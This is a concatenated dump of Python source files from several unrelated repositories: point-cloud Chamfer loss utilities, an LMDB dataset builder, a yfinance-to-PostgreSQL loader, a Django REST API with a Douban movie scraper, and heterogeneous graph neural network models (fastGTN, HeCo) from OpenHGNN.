KeyboardInterrupt: torch.save(net.state_dict(), 'INTERRUPTED.pth') logging.info('Saved interrupt') try: sys.exit(0) except SystemExit: os._exit(0) ``` #### File: GPR_3D_Model_Reconstruction/utils/utils.py ```python import torch import torch.nn as nn from matplotlib import pyplot as plt from mpl_toolkits.mplot3d import Axes3D from open3d import * def array2samples_distance(array1, array2): """ arguments: array1: the array, size: (num_point, num_feature) array2: the samples, size: (num_point, num_feature) returns: distances: each entry is the distance from a sample to array1 """ # print(type(array1),type(array2)) num_point1, num_features1 = array1.shape num_point2, num_features2 = array2.shape expanded_array1 = array1.repeat(num_point2, 1) expanded_array2 = torch.reshape( torch.unsqueeze(array2, 1).repeat(1, num_point1, 1), (-1, num_features2)) distances = (expanded_array1-expanded_array2)* (expanded_array1-expanded_array2) # distances = torch.sqrt(distances) distances = torch.sum(distances,dim=1) distances = torch.reshape(distances, (num_point2, num_point1)) distances = torch.min(distances,dim=1)[0] distances = torch.mean(distances) return distances def chamfer_distance_numpy(array1, array2): batch_size, num_point, num_features = array1.shape dist = 0 for i in range(batch_size): av_dist1 = array2samples_distance(array1[i], array2[i]) av_dist2 = array2samples_distance(array2[i], array1[i]) dist = dist + (0.5*av_dist1+0.5*av_dist2)/batch_size return dist*100 def chamfer_distance_numpy_test(array1, array2): batch_size, num_point, num_features = array1.shape dist_all = 0 dist1 = 0 dist2 = 0 for i in range(batch_size): av_dist1 = array2samples_distance(array1[i], array2[i]) av_dist2 = array2samples_distance(array2[i], array1[i]) dist_all = dist_all + (av_dist1+av_dist2)/batch_size dist1 = dist1+av_dist1/batch_size dist2 = dist2+av_dist2/batch_size return dist_all, dist1, dist2 class PointLoss(nn.Module): def __init__(self): super(PointLoss,self).__init__() def forward(self,array1,array2): return chamfer_distance_numpy(array1,array2) class PointLoss_test(nn.Module): def __init__(self): super(PointLoss_test,self).__init__() def forward(self,array1,array2): return chamfer_distance_numpy_test(array1,array2) if __name__=='__main__': a = torch.randn(1,256,3) b = torch.randn(1,256,3) c = torch.randn(1,64,3) d = torch.randn(1,64,3) p = PointLoss() print(p(a,b)) print(p(c,d)*0.25) ```
{ "source": "Jing-lun/GPR_dilectric_prediction", "score": 2 }
#### File: GPR_dilectric_prediction/tool/create_dataset.py ```python import os import lmdb import sys sys.path.remove('/opt/ros/kinetic/lib/python2.7/dist-packages') import cv2 import numpy as np import argparse import shutil def checkImageIsValid(imageBin): if imageBin is None: return False try: imageBuf = np.fromstring(imageBin, dtype=np.uint8) img = cv2.imdecode(imageBuf, cv2.IMREAD_GRAYSCALE) imgH, imgW = img.shape[0], img.shape[1] except: return False else: if imgH * imgW == 0: return False return True def writeCache(env, cache): with env.begin(write=True) as txn: for k, v in cache.items(): if type(k) == str: k = k.encode() if type(v) == str: v = v.encode() txn.put(k,v) def createDataset(outputPath, imagePathList, labelList, lexiconList=None, checkValid=True): """ Create LMDB dataset for CRNN training. ARGS: outputPath : LMDB output path imagePathList : list of image path labelList : list of corresponding groundtruth texts lexiconList : (optional) list of lexicon lists checkValid : if true, check the validity of every image """ # If lmdb file already exists, remove it. Or the new data will add to it. if os.path.exists(outputPath): shutil.rmtree(outputPath) os.makedirs(outputPath) else: os.makedirs(outputPath) assert (len(imagePathList) == len(labelList)) nSamples = len(imagePathList) env = lmdb.open(outputPath, map_size=1099511627776) cache = {} cnt = 1 for i in range(nSamples): imagePath = imagePathList[i] label = labelList[i] if not os.path.exists(imagePath): print('%s does not exist' % imagePath) continue with open(imagePath, 'rb') as f: imageBin = f.read() if checkValid: if not checkImageIsValid(imageBin): print('%s is not a valid image' % imagePath) continue imageKey = 'image-%09d' % cnt labelKey = 'label-%09d' % cnt cache[imageKey] = imageBin cache[labelKey] = label if lexiconList: lexiconKey = 'lexicon-%09d' % cnt cache[lexiconKey] = ' '.join(lexiconList[i]) if cnt % 1000 == 0: writeCache(env, cache) cache = {} print('Written %d / %d' % (cnt, nSamples)) cnt += 1 nSamples = cnt-1 cache['num-samples'] = str(nSamples) writeCache(env, cache) env.close() print('Created dataset with %d samples' % nSamples) def read_data_from_folder(folder_path): image_path_list = [] label_list = [] pics = os.listdir(folder_path) pics.sort(key = lambda i: len(i)) for pic in pics: image_path_list.append(folder_path + '/' + pic) label_list.append(pic.split('_')[0]) return image_path_list, label_list def read_data_from_file(file_path): image_path_list = [] label_list = [] f = open(file_path) while True: line1 = f.readline() line2 = f.readline() if not line1 or not line2: break line1 = line1.replace('\r', '').replace('\n', '') line2 = line2.replace('\r', '').replace('\n', '') image_path_list.append(line1) label_list.append(line2) return image_path_list, label_list def show_demo(demo_number, image_path_list, label_list): print ('\nShow some demo to prevent creating wrong lmdb data') print ('The first line is the path to image and the second line is the image label') for i in range(demo_number): print ('image: %s\nlabel: %s\n' % (image_path_list[i], label_list[i])) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--out', type = str, required = True, help = 'lmdb data output path') parser.add_argument('--folder', type = str, help = 'path to folder which contains the images') parser.add_argument('--file', type = str, help = 'path to file which contains the image path and label') args = parser.parse_args() if args.file is not None: image_path_list, label_list = read_data_from_file(args.file) createDataset(args.out, image_path_list, label_list) show_demo(2, image_path_list, label_list) elif args.folder is not None: image_path_list, label_list = read_data_from_folder(args.folder) createDataset(args.out, image_path_list, label_list) show_demo(2, image_path_list, label_list) else: print ('Please use --floder or --file to assign the input. Use -h to see more.') sys.exit() ```
{ "source": "jingluomaf/djangorest-yahoo-finance", "score": 3 }
#### File: restapi/datatosql/history.py ```python import pandas as pd from pandas_datareader import data as pdr import yfinance as yf from sqlalchemy import create_engine, types import os def histricalDataToSQL(tickers): engine = create_engine('postgresql://'+os.environ['POSTGRESQL_USER']+':'+os.environ['POSTGRESQL_PASSWORD']+'@' + os.environ['POSTGRESQL_HOST_IP']+':'+os.environ['POSTGRESQL_PORT']+'/stock', echo=False) result_by_method = getattr(yf.Ticker(tickers), 'history')(period="max") result_by_method.index.names = ['date'] result_by_method.columns = result_by_method.columns.str.lower() result_by_method.to_sql(name=tickers.lower(), con=engine, schema='historical_data', if_exists='replace', index=True, dtype={'date': types.Date}) # def histricalDataToJson(tickers): # result_by_method = getattr(yf.Ticker(tickers), 'history') # result_by_method(period="max").to_json( # r'C:\Users\Jing\Desktop\investment\backend\restapi\datatosql\1.json') # def histricalDataToSQL(tickers, datatype): # print(os.environ['POSTGRESQL_DATABASE']) # if datatype in os.environ['POSTGRESQL_DATABASE']: # engine = create_engine('postgresql://'+os.environ['POSTGRESQL_USER']+':'+os.environ['POSTGRESQL_PASSWORD']+'@' + # os.environ['POSTGRESQL_HOST_IP']+':'+os.environ['POSTGRESQL_PORT']+'/' + datatype, echo=False) # result_by_method = getattr(yf.Ticker(tickers), datatype) # result_by_method().to_sql(name=tickers, con=engine, # if_exists='replace', index=True, dtype={'Date': types.Date}) # print(result_by_method()) # else: # return print("Database not avaliable!") # download dataframe # data = pdr.get_data_yahoo("SPY", start="2017-01-01", end="2017-04-30") # print(yf.Ticker("AAPL").cashflow) # save data to PostgreSQL # data.to_sql(name='SPY', con=engine, if_exists='replace', index=True) # # parse header # response.xpath('//table//thead//tr//th//span/text()').getall() # # parse data # response.xpath('//table//tbody//tr//td//span/text()').get() ```
{ "source": "jingluomaf/douban-movie", "score": 3 }
#### File: douban_movie/movies/views.py ```python from rest_framework import status from rest_framework.decorators import api_view from rest_framework.response import Response from movies.models import DoubanMovie from movies.serializers import MovieSerializer @api_view(['GET', 'POST']) def movie_list(request, format=None): """ List all movies, or create a new movie. """ if request.method == 'GET': movies = DoubanMovie.objects.all() serializer = MovieSerializer(movies, many=True) return Response(serializer.data) elif request.method == 'POST': serializer = MovieSerializer(data=request.data) if serializer.is_valid(): serializer.save() return Response(serializer.data, status=status.HTTP_201_CREATED) return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) @api_view(['GET', 'PUT', 'DELETE']) def movie_detail(request, pk, format=None): """ Retrieve, update or delete a movie. """ try: movie = DoubanMovie.objects.get(pk=pk) except DoubanMovie.DoesNotExist: return Response(status=status.HTTP_404_NOT_FOUND) if request.method == 'GET': serializer = MovieSerializer(movie) return Response(serializer.data) elif request.method == 'PUT': serializer = MovieSerializer(movie, data=request.data) if serializer.is_valid(): serializer.save() return Response(serializer.data) return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) elif request.method == 'DELETE': movie.delete() return Response(status=status.HTTP_204_NO_CONTENT) ``` #### File: douban_movie/spiders/movies_spider.py ```python import json import scrapy # from parsel import Selector from ..items import DoubanMovieItem # from twisted.internet import reactor, defer # from scrapy.crawler import CrawlerRunner # from scrapy.utils.log import configure_logging # from scrapy.crawler import CrawlerProcess class MovieSpider(scrapy.Spider): name = "movies" # This is a built-in Scrapy function that runs first where we'll override the default headers # Documentation: https://doc.scrapy.org/en/latest/topics/spiders.html#scrapy.spiders.Spider.start_requests def start_requests(self): url = 'https://movie.douban.com/j/search_subjects?type=movie&tag=%E6%9C%80%E6%96%B0&page_limit=20&page_start=0' # url = 'https://movie.douban.com/subject/27000904/' # allowed_domains = ["example.com"] # Set the headers here. The important part is "application/json" # headers = { # 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36', # 'Accept': 'application/json,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', # # 'Accept-Encoding': 'gzip, deflate, sdch, br, utf-8', # 'Accept-Language': 'en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4;q=0.9', # } yield scrapy.http.Request(url) def parse(self, response): nonCompactJson = json.loads(response.body) movies = nonCompactJson.get('subjects') for movie in movies: item_id = int(movie.get('id')) item_title = movie.get('title') item_img_url = movie.get('cover') item_rate = float(movie.get('rate')) item_detail_url = movie.get('url') doubanMovieItem = DoubanMovieItem(pk=item_id, title=item_title, img_url=item_img_url, rate=item_rate, detail_url=item_detail_url,) yield doubanMovieItem # class MovieDetailSpider(scrapy.Spider): # name = "details" # def get_requests(self): # # url = 'https://movie.douban.com/j/search_subjects?type=movie&tag=%E6%9C%80%E6%96%B0&page_limit=20&page_start=0' # # url = 'https://movie.douban.com/subject/27000904/' # # allowed_domains = ["example.com"] # # Set the headers here. The important part is "application/json" # headers = { # 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36', # 'Accept': 'application/json,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', # # 'Accept-Encoding': 'gzip, deflate, sdch, br, utf-8', # 'Accept-Language': 'en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4;q=0.9', # } # for url in detailUrls: # yield scrapy.http.Request(url, headers=headers) # def parse(self, response): # html = response.body # yield html # process = CrawlerProcess() # process.crawl(MovieSpider) # process.crawl(MovieDetailSpider) # process.start() # configure_logging() # runner = CrawlerRunner() # @defer.inlineCallbacks # def crawl(): # yield runner.crawl(MovieSpider) # yield runner.crawl(MovieDetailSpider) # reactor.stop() # crawl() # reactor.run() # parsedHtml = BeautifulSoup(response.text, 'lxml') # print(parsedHtml) # html = response # with open('test5.html', 'wb') as f: # f.write(html.body) # javascript = response.xpath( # '//script[contains(@type, "ld")]').getall() # for js in javascript: # for js2 in js: # print(js2.strip()) # print(javascript) # xml = lxml.etree.tostring(js2xml.parse(javascript), encoding='unicode') # print(xml) # selector = Selector(text=xml) # print(selector) # selector.css('var[name="data"]').get() ```
{ "source": "jinglv/api-object-auto", "score": 3 }
#### File: resources/python/four_info.py ```python from faker import Faker fake = Faker(locale='zh_cn') # 指定fake 所属地 def four_info(): """手机号码、姓名、邮箱、身份证号码""" mobile = fake.phone_number() name = fake.name() email = f'{<EMAIL>' id_card = fake.ssn() info_dict = {"name": name, "mobile": mobile, "id_card": id_card, "email": email} return info_dict print(four_info()) ```
{ "source": "JingMatrix/onenote-dump", "score": 2 }
#### File: onenote-dump/onenote_dump/pipeline.py ```python import math import re from concurrent.futures import Future, ThreadPoolExecutor from pathlib import Path from onenote_dump.convert import convert_page from onenote_dump.onenote import get_page_content class Pipeline: def __init__(self, onenote_session, notebook: str, out_dir: Path, max_workers=10): self.s = onenote_session self.notebook = notebook self.filename_re = re.compile(r"[<>:\"/\\\|\?\*#]") self.whitespace_re = re.compile(r"\s+") self.notes_dir = out_dir / "notes" self.notes_dir.mkdir(parents=True, exist_ok=True) self.attach_dir = out_dir / "attachments" self.attach_dir.mkdir(parents=True, exist_ok=True) self.executors = [ ThreadPoolExecutor(math.ceil(max_workers / 3), "PipelinePage"), ThreadPoolExecutor(math.floor(max_workers / 3), "PipelineConvert"), ThreadPoolExecutor(math.floor(max_workers / 3), "PipelineSave"), ] def add_page(self, page: dict): future = self.executors[0].submit(get_page_content, self.s, page) future.add_done_callback(self._submit_conversion) def _submit_conversion(self, future: Future): page, content = future.result() future = self.executors[1].submit( convert_page, page, content, self.notebook, self.s, self.attach_dir ) future.add_done_callback(self._submit_save) def _submit_save(self, future: Future): page, content = future.result() future = self.executors[2].submit(self._save_page, page, content) return future.result() def _save_page(self, page, content): path = self.notes_dir / (self._filenamify(page["title"]) + ".md") path.write_text(content, encoding="utf-8") def _filenamify(self, s): s = self.filename_re.sub(" ", s) s = self.whitespace_re.sub(" ", s) return s.strip() def done(self): for executor in self.executors: executor.shutdown() ```
{ "source": "jingmingcn/blood-server", "score": 2 }
#### File: blood-server/Keras/KerasDistinguishAge.py ```python import numpy as np np.random.seed(1337) # for reproducibility from keras.models import Sequential, model_from_json from keras.layers.core import Dense, Dropout, Activation from keras.optimizers import SGD, Adam, RMSprop from keras.utils import np_utils from time import sleep batch_size = 128 nb_classes = 20 nb_epoch = 100 def load_data(): x_train=[] Y_train=[] x_test=[] Y_test=[] f = open("distinguishsexdata/train.txt","r") i = 0 for line in f.readlines(): line = line.strip("\n").split(",") if i>0: Y_train.append(int(float(line[2])/5)) del line[0] del line[0] del line[0] x_train.append(line) i += 1 x1=np.array(x_train) y1=np.array(Y_train) f.close() f = open("distinguishsexdata/test.txt","r") i = 0 for line in f.readlines(): line = line.strip("\n").split(",") if i>0: Y_test.append(int(float(line[2])/5)) del line[0] del line[0] del line[0] x_test.append(line) i += 1 x2=np.array(x_test) y2=np.array(Y_test) f.close() return (x1, y1), (x2, y2) # the data, shuffled and split between train and test sets (X_train, y_train), (X_test, y_test) = load_data() X_train = X_train.reshape(1858, 26) X_test = X_test.reshape(200, 26) X_train = X_train.astype('float32') X_test = X_test.astype('float32') X_train /= 255 X_test /= 255 print(X_train.shape[0], 'train samples') print(X_test.shape[0], 'test samples') # convert class vectors to binary class matrices Y_train = np_utils.to_categorical(y_train, nb_classes) Y_test = np_utils.to_categorical(y_test, nb_classes) model = Sequential() model.add(Dense(32, input_shape=(26,))) model.add(Activation('relu')) model.add(Dropout(0.2)) model.add(Dense(output_dim=32)) model.add(Activation('relu')) model.add(Dropout(0.2)) model.add(Dense(output_dim=20)) model.add(Activation('softmax')) sgd = SGD(lr=0.05, decay=1e-6, momentum=0.9, nesterov=True) #model.compile(loss='categorical_crossentropy',optimizer=RMSprop(),metrics=['accuracy']) model.compile(loss='categorical_crossentropy',optimizer=sgd,metrics=['accuracy']) history = model.fit(X_train, Y_train,batch_size=batch_size, nb_epoch=nb_epoch,verbose=1, validation_data=(X_test, Y_test)) # 输出结果看看 # result = [] # result = model.predict_classes(X_test,batch_size=batch_size,verbose=1) # # for r in result: # print r score = model.evaluate(X_test, Y_test, verbose=1) # print('Test score:', score[0]) print('Test accuracy:', score[1]) print "end" # #保存模型 # json_string = model.to_json() # open("model/model_json.json","w").write(json_string) # #保存权重,暂时保存权重会出错 # model.save_weights("model/model_json_weight.h5") # #加载保存的模型 # model = model_from_json(open("model/model_json.json").read()) # model.load_weights("model/model_json_weight.h5") ``` #### File: jingmingcn/blood-server/Traindata.py ```python import random import numpy as np import pandas as pd class Traindata: def __init__(self): self.df = pd.read_csv('trainurl', index_col = 0) #将性别转化为2维矩阵,行代表病人id,列代表性别,为男则第一列置1,女则第二列置1 self.gender = np.zeros((1858,2)) for i in range(1858): if self.df.iloc[i,0]==1: self.gender[i,0]=1 else: self.gender[i,1]=1 self.age = self.df.loc[1:,['age']] #将26项指标转换为26列的矩阵 self.parameter = self.df.loc[1:,['WBC','RBC','HGB','HCT','MCV','MCH','MCHC','ROW','PLT','MPV','PCT','PDW','LYM','LYM%','MON','MON%','NEU','NEU%','EOS','EOS%','BAS','BAS%','ALY','ALY%','LIC','LIC%']] self.parameter = np.array(self.parameter) #可以返回随机的n个数据 def next_batch_gender(self,n): lable = np.zeros((n,2)) para = np.zeros((n,26)) for i in range(n): k=random.randint(0, 1858) if self.gender[k,0]==1: lable[i,0]=1 else: lable[i,1]=1 para[0] = self.parameter[k] return para,lable def next_batch_age(self,n): para = np.zeros((n,26)) for i in range(n): k=random.randint(0, 1858) if(i==0): age = pd.DataFrame([self.age.iloc[k]]) else: age.append(self.age.iloc[k]) para[0] = self.parameter[k] return para,age ```
{ "source": "jingming/spotify", "score": 3 }
#### File: v1/artist/top_track.py ```python from spotify.page import Page from spotify.resource import Resource class TopTrackList(Resource): def __init__(self, version, artist_id): super(TopTrackList, self).__init__(version) self.artist_id = artist_id def list(self, country): params = { 'country': country } response = self.version.request('GET', '/artists/{}/top-tracks'.format(self.artist_id), params=params) return TopTrackPage(self.version, response.json(), 'tracks') class TopTrackPage(Page): @property def instance_class(self): from spotify.v1.track import TrackInstance return TrackInstance ```
{ "source": "jingmouren/OpenHGNN", "score": 2 }
#### File: openhgnn/models/fastGTN.py ```python import dgl import torch as th import torch.nn as nn import torch.nn.functional as F from dgl.nn.pytorch import GraphConv, EdgeWeightNorm from ..utils import transform_relation_graph_list from . import BaseModel, register_model import dgl.function as fn @register_model('fastGTN') class fastGTN(BaseModel): @classmethod def build_model_from_args(cls, args, hg): if args.identity: num_edge_type = len(hg.canonical_etypes) + 1 else: num_edge_type = len(hg.canonical_etypes) # add self-loop edge return cls(num_edge_type=num_edge_type, num_channels=args.num_channels, in_dim=args.hidden_dim, hidden_dim=args.hidden_dim, num_class=args.out_dim, num_layers=args.num_layers, category=args.category, norm=args.norm_emd_flag, identity=args.identity) def __init__(self, num_edge_type, num_channels, in_dim, hidden_dim, num_class, num_layers, category, norm, identity): r""" Description ----------- fastGTN from paper `Graph Transformer Networks: Learning Meta-path Graphs to Improve GNNs <https://arxiv.org/abs/2106.06218>`__. It is the extension paper of GTN. `Code from author <https://github.com/seongjunyun/Graph_Transformer_Networks>`__. Given a heterogeneous graph :math:`G` and its edge relation type set :math:`\mathcal{R}`.Then we extract the single relation adjacency matrix list. In that, we can generate combination adjacency matrix by conv the single relation adjacency matrix list. We can generate :math:'l-length' meta-path adjacency matrix by multiplying combination adjacency matrix. Then we can generate node representation using a GCN layer. Parameters ---------- num_edge_type : int Number of relations. num_channels : int Number of conv channels. in_dim : int The dimension of input feature. hidden_dim : int The dimension of hidden layer. num_class : int Number of classification type. num_layers : int Length of hybrid metapath. category : string Type of predicted nodes. norm : bool If True, the adjacency matrix will be normalized. identity : bool If True, the identity matrix will be added to relation matrix set. """ super(fastGTN, self).__init__() self.num_edge_type = num_edge_type self.num_channels = num_channels self.in_dim = in_dim self.hidden_dim = hidden_dim self.num_class = num_class self.num_layers = num_layers self.is_norm = norm self.category = category self.identity = identity layers = [] for i in range(num_layers): layers.append(GTConv(num_edge_type, num_channels)) self.params = nn.ParameterList() for i in range(num_channels): self.params.append(nn.Parameter(th.Tensor(in_dim, hidden_dim))) self.layers = nn.ModuleList(layers) self.gcn = GCNConv() self.norm = EdgeWeightNorm(norm='right') self.linear1 = nn.Linear(self.hidden_dim * self.num_channels, self.hidden_dim) self.linear2 = nn.Linear(self.hidden_dim, self.num_class) self.category_idx = None self.A = None self.h = None self.reset_parameters() def reset_parameters(self): if self.params is not None: for para in self.params: nn.init.xavier_uniform_(para) def normalization(self, H): norm_H = [] for i in range(self.num_channels): g = H[i] g = dgl.remove_self_loop(g) g.edata['w_sum'] = self.norm(g, g.edata['w_sum']) norm_H.append(g) return norm_H def forward(self, hg, h): with hg.local_scope(): hg.ndata['h'] = h # * =============== Extract edges in original graph ================ if self.category_idx is None: self.A, h, self.category_idx = transform_relation_graph_list(hg, category=self.category, identity=self.identity) else: g = dgl.to_homogeneous(hg, ndata='h') h = g.ndata['h'] # X_ = self.gcn(g, self.h) A = self.A # * =============== Get new graph structure ================ H = [] for n_c in range(self.num_channels): H.append(th.matmul(h, self.params[n_c])) for i in range(self.num_layers): hat_A = self.layers[i](A) for n_c in range(self.num_channels): edge_weight = self.norm(hat_A[n_c], hat_A[n_c].edata['w_sum']) H[n_c] = self.gcn(hat_A[n_c], H[n_c], edge_weight=edge_weight) X_ = self.linear1(th.cat(H, dim=1)) X_ = F.relu(X_) y = self.linear2(X_) return {self.category: y[self.category_idx]} class GCNConv(nn.Module): def __init__(self,): super(GCNConv, self).__init__() def forward(self, graph, feat, edge_weight=None): with graph.local_scope(): if edge_weight is not None: assert edge_weight.shape[0] == graph.number_of_edges() graph.edata['_edge_weight'] = edge_weight aggregate_fn = fn.u_mul_e('h', '_edge_weight', 'm') graph.srcdata['h'] = feat graph.update_all(aggregate_fn, fn.sum(msg='m', out='h')) rst = graph.dstdata['h'] return rst class GTConv(nn.Module): r""" Description ----------- We conv each sub adjacency matrix :math:`A_{R_{i}}` to a combination adjacency matrix :math:`A_{1}`: .. math:: A_{1} = conv\left(A ; W_{c}\right)=\sum_{R_{i} \in R} w_{R_{i}} A_{R_{i}} where :math:`R_i \subseteq \mathcal{R}` and :math:`W_{c}` is the weight of each relation matrix """ def __init__(self, in_channels, out_channels, softmax_flag=True): super(GTConv, self).__init__() self.in_channels = in_channels self.out_channels = out_channels self.weight = nn.Parameter(th.Tensor(out_channels, in_channels)) self.softmax_flag = softmax_flag self.reset_parameters() def reset_parameters(self): nn.init.normal_(self.weight, std=0.01) def forward(self, A): if self.softmax_flag: Filter = F.softmax(self.weight, dim=1) else: Filter = self.weight num_channels = Filter.shape[0] results = [] for i in range(num_channels): for j, g in enumerate(A): A[j].edata['w_sum'] = g.edata['w'] * Filter[i][j] sum_g = dgl.adj_sum_graph(A, 'w_sum') results.append(sum_g) return results ``` #### File: openhgnn/models/HeCo.py ```python import torch import torch.nn as nn import torch.nn.functional as F import dgl from dgl.data.utils import load_graphs from dgl.sampling import sample_neighbors from dgl.nn.pytorch import GATConv, GraphConv from openhgnn.models import BaseModel, register_model from ..utils.utils import extract_metapaths def init_drop(dropout): if dropout > 0: return nn.Dropout(dropout) else: return lambda x: x @register_model('HeCo') class HeCo(BaseModel): r""" Description ----------- **Title:** Self-supervised Heterogeneous Graph Neural Network with Co-contrastive Learning **Authors:** <NAME>, <NAME>, <NAME>, <NAME> HeCo was introduced in `[paper] <http://shichuan.org/doc/112.pdf>`_ and parameters are defined as follows: Parameters ---------- meta_paths : dict Extract metapaths from graph network_schema : dict Directed edges from other types to target type category : string The category of the nodes to be classificated hidden_size : int Hidden units size feat_drop : float Dropout rate for projected feature attn_drop : float Dropout rate for attentions used in two view guided encoders sample_rate : dict The nuber of neighbors of each type sampled for network schema view tau : float Temperature parameter used for contrastive loss lam : float Balance parameter for two contrastive losses """ @classmethod def build_model_from_args(cls, args, hg): if args.meta_paths_dict is None: meta_paths_dict = extract_metapaths(args.category, hg.canonical_etypes) else: meta_paths_dict = args.meta_paths_dict schema = [] for etype in hg.canonical_etypes: if etype[2] == args.category: schema.append(etype) return cls(meta_paths_dict=meta_paths_dict, network_schema=schema, category=args.category, hidden_size=args.hidden_dim, feat_drop=args.feat_drop, attn_drop=args.attn_drop, sample_rate=args.sample_rate, tau=args.tau, lam=args.lam) def __init__(self, meta_paths_dict, network_schema, category, hidden_size, feat_drop, attn_drop , sample_rate, tau, lam): super(HeCo, self).__init__() self.category = category # target node type self.feat_drop = init_drop(feat_drop) self.attn_drop = attn_drop self.mp = Mp_encoder(meta_paths_dict, hidden_size, self.attn_drop) self.sc = Sc_encoder(network_schema, hidden_size, self.attn_drop, sample_rate, self.category) self.contrast = Contrast(hidden_size, tau, lam) def forward(self, g, h_dict, pos): r""" Description ----------- This is the forward part of model HeCo. Parameters ---------- g : DGLGraph A DGLGraph h_dict: dict Projected features after linear projection pos: matrix A matrix to indicate the postives for each node Returns ------- loss : float The optimize objective Note ----------- Pos matrix is pre-defined by users. The relative tool is given in original code. """ new_h = {} for key, value in h_dict.items(): new_h[key] = F.elu(self.feat_drop(value)) z_mp = self.mp(g, new_h[self.category]) z_sc = self.sc(g, new_h) loss = self.contrast(z_mp, z_sc, pos) return loss def get_embeds(self, g, h_dict): r""" Description ----------- This is to get final embeddings of target nodes """ z_mp = F.elu(h_dict[self.category]) z_mp = self.mp(g, z_mp) return z_mp.detach() class SelfAttention(nn.Module): def __init__(self, hidden_dim, attn_drop, txt): r""" Description ----------- This part is used to calculate type-level attention and semantic-level attention, and utilize them to generate :math:`z^{sc}` and :math:`z^{mp}`. .. math:: w_{n}&=\frac{1}{|V|}\sum\limits_{i\in V} \textbf{a}^\top \cdot \tanh\left(\textbf{W}h_i^{n}+\textbf{b}\right) \\ \beta_{n}&=\frac{\exp\left(w_{n}\right)}{\sum_{i=1}^M\exp\left(w_{i}\right)} \\ z &= \sum_{n=1}^M \beta_{n}\cdot h^{n} Parameters ---------- txt : str A str to identify view, MP or SC Returns ------- z : matrix The fused embedding matrix """ super(SelfAttention, self).__init__() self.fc = nn.Linear(hidden_dim, hidden_dim, bias=True) nn.init.xavier_normal_(self.fc.weight, gain=1.414) self.tanh = nn.Tanh() self.att = nn.Parameter(torch.empty(size=(1, hidden_dim)), requires_grad=True) nn.init.xavier_normal_(self.att.data, gain=1.414) self.softmax = nn.Softmax(dim=0) self.attn_drop = init_drop(attn_drop) self.txt = txt def forward(self, embeds): beta = [] attn_curr = self.attn_drop(self.att) for embed in embeds: sp = self.tanh(self.fc(embed)).mean(dim=0) beta.append(attn_curr.matmul(sp.t())) beta = torch.cat(beta, dim=-1).view(-1) beta = self.softmax(beta) print(self.txt, beta.data.cpu().numpy()) # semantic attention z = 0 for i in range(len(embeds)): z += embeds[i] * beta[i] return z class Mp_encoder(nn.Module): def __init__(self, meta_paths_dict, hidden_size, attn_drop): r""" Description ----------- This part is to encode meta-path view. Returns ------- z_mp : matrix The embedding matrix under meta-path view. """ super(Mp_encoder, self).__init__() # One GCN layer for each meta path based adjacency matrix self.act = nn.PReLU() self.gcn_layers = nn.ModuleDict() for mp in meta_paths_dict: one_layer = GraphConv(hidden_size, hidden_size, activation=self.act, allow_zero_in_degree=True) one_layer.reset_parameters() self.gcn_layers[mp] = one_layer self.meta_paths_dict = meta_paths_dict self._cached_graph = None self._cached_coalesced_graph = {} self.semantic_attention = SelfAttention(hidden_size, attn_drop, "mp") def forward(self, g, h): semantic_embeddings = [] if self._cached_graph is None or self._cached_graph is not g: self._cached_graph = g self._cached_coalesced_graph.clear() for mp, meta_path in self.meta_paths_dict.items(): self._cached_coalesced_graph[mp] = dgl.metapath_reachable_graph( g, meta_path) for mp, meta_path in self.meta_paths_dict.items(): new_g = self._cached_coalesced_graph[mp] one = self.gcn_layers[mp](new_g, h) semantic_embeddings.append(one) # node level attention z_mp = self.semantic_attention(semantic_embeddings) return z_mp class Sc_encoder(nn.Module): def __init__(self, network_schema, hidden_size, attn_drop, sample_rate, category): r""" Description ----------- This part is to encode network schema view. Returns ------- z_mp : matrix The embedding matrix under network schema view. Note ----------- There is a different sampling strategy between original code and this code. In original code, the authors implement sampling without replacement if the number of neighbors exceeds a threshold, and with replacement if not. In this version, we simply use the API dgl.sampling.sample_neighbors to implement this operation, and set replacement as True. """ super(Sc_encoder, self).__init__() self.gat_layers = nn.ModuleList() for i in range(len(network_schema)): one_layer = GATConv((hidden_size, hidden_size), hidden_size, num_heads=1, attn_drop=attn_drop, allow_zero_in_degree=True) one_layer.reset_parameters() self.gat_layers.append(one_layer) self.network_schema = list(tuple(ns) for ns in network_schema) self._cached_graph = None self._cached_coalesced_graph = {} self.inter = SelfAttention(hidden_size, attn_drop, "sc") self.sample_rate = sample_rate self.category = category def forward(self, g, h): intra_embeddings = [] for i, network_schema in enumerate(self.network_schema): src_type = network_schema[0] one_graph = g[network_schema] cate_num = torch.arange(0, g.num_nodes(self.category)).to(g.device) sub_graph = sample_neighbors(one_graph, {self.category: cate_num}, {network_schema[1]: self.sample_rate[src_type]}, replace=True) one = self.gat_layers[i](sub_graph, (h[src_type], h[self.category])) one = one.squeeze(1) intra_embeddings.append(one) z_sc = self.inter(intra_embeddings) return z_sc class Contrast(nn.Module): def __init__(self, hidden_dim, tau, lam): r""" Description ----------- This part is used to calculate the contrastive loss. Returns ------- contra_loss : float The calculated loss """ super(Contrast, self).__init__() self.proj = nn.Sequential( nn.Linear(hidden_dim, hidden_dim), nn.ELU(), nn.Linear(hidden_dim, hidden_dim) ) self.tau = tau self.lam = lam for model in self.proj: if isinstance(model, nn.Linear): nn.init.xavier_normal_(model.weight, gain=1.414) def sim(self, z1, z2): r""" Description ----------- This part is used to calculate the cosine similarity of each pair of nodes from different views. """ z1_norm = torch.norm(z1, dim=-1, keepdim=True) z2_norm = torch.norm(z2, dim=-1, keepdim=True) dot_numerator = torch.mm(z1, z2.t()) dot_denominator = torch.mm(z1_norm, z2_norm.t()) sim_matrix = torch.exp(dot_numerator / dot_denominator / self.tau) return sim_matrix def forward(self, z_mp, z_sc, pos): r""" Description ----------- This is the forward part of contrast part. We firstly project the embeddings under two views into the space where contrastive loss is calculated. Then, we calculate the contrastive loss with projected embeddings in a cross-view way. .. math:: 